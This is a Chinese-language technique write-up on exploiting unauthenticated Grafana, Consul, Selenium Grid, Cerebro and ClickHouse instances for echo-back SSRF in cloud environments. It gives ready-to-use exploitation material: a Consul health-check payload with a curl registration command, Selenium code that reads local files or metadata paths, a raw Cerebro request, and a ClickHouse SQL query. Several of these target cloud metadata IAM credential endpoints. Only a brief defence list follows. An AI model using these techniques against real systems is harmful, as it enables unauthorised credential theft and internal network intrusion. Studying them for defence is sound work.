云攻防中常见未授权下的回显 SSRF
字数 865 2025-08-23 18:31:09
云攻防中常见未授权下的回显SSRF利用技术详解
1. 回显SSRF概述
回显SSRF(Server-Side Request Forgery)在云攻防中具有重要作用,能够绕过外网防护直接发起内网攻击,效果显著。通过回显SSRF可以:
- 控制未授权的k8s api-server
- 获取云元数据信息
- 可能直接获取IAM认证凭证
- 攻击内网服务
2. Grafana SSRF利用
攻击场景
Grafana允许用户配置数据源,在未授权访问情况下可利用此功能实现SSRF攻击。
利用方法
- 使用工具:grafana-ssrf
- 通过配置数据源功能发起SSRF请求
3. Consul SSRF利用
攻击场景
Consul作为服务注册发现组件,新版本通常无法直接RCE,但可通过监控功能实现回显SSRF。
利用步骤
- 准备JSON配置文件:
{
"id": "redis-1",
"name": "Redis health check",
"http": "http://xxxx/latest/iam/security_credentials",
"tls_skip_verify": false,
"method": "GET",
"interval": "10s",
"timeout": "1s"
}
- 发送注册请求:
curl -X PUT http://xxxxx.com/v1/agent/check/register -d @json
- 查看服务health checks获取回显内容
注意:回显内容可能被截断,仅显示部分数据。
4. Selenium Grid SSRF利用
攻击场景
Selenium作为自动化测试服务,未授权时可新建session实现回显SSRF。
利用代码
from selenium import webdriver
url = 'http://xxxxxxx:4444/wd/hub'
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument('--no-sandbox')
chrome_options.add_argument('-ignore-certificate-errors')
chrome_options.add_argument('--allow-file-access-from-files')
dr = webdriver.Remote(url, options=chrome_options)
dr.set_page_load_timeout(3)
dr.get('file:///') # 或 dr.get('http://xxxxx/latest/iam/')
print(dr.page_source)
5. Cerebro SSRF利用
攻击场景
Cerebro是开源ES图形化管理工具,公开到公网时存在SSRF漏洞。
利用方法
- 找到rest查询接口
- 发送POST请求:
POST /rest/request HTTP/1.1
Host: xxxxx:9000
Content-Length: 76
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: SESSION=a479fcb2-d259-4833-bc88-c7cb1c896044; JSESSIONID=FF77ABF1DDD1AF7697078904978F866A
Connection: close
{"method":"GET","data":{},"path":"","host":"http://10.0.0.142:18801/health"}
6. ClickHouse SSRF利用
攻击场景
ClickHouse是基于HTTP接口的列式数据库,未授权或弱口令时可实现有限制的回显SSRF。
利用SQL
SELECT * FROM url('http://xxxxx/latest/iam/security_credentials/', 'TabSeparated', 'a String', 'auto');
7. 防御建议
- 对云服务组件实施严格的访问控制
- 禁用不必要的HTTP接口
- 对用户输入进行严格过滤和验证
- 限制内部网络访问权限
- 定期更新和修补服务组件
8. 总结
回显SSRF在云攻防中能造成严重危害,攻击者可通过多种服务组件实现内网探测和攻击。本文总结了Grafana、Consul、Selenium Grid、Cerebro和ClickHouse等组件的SSRF利用方法,防御方应针对这些攻击面加强防护措施。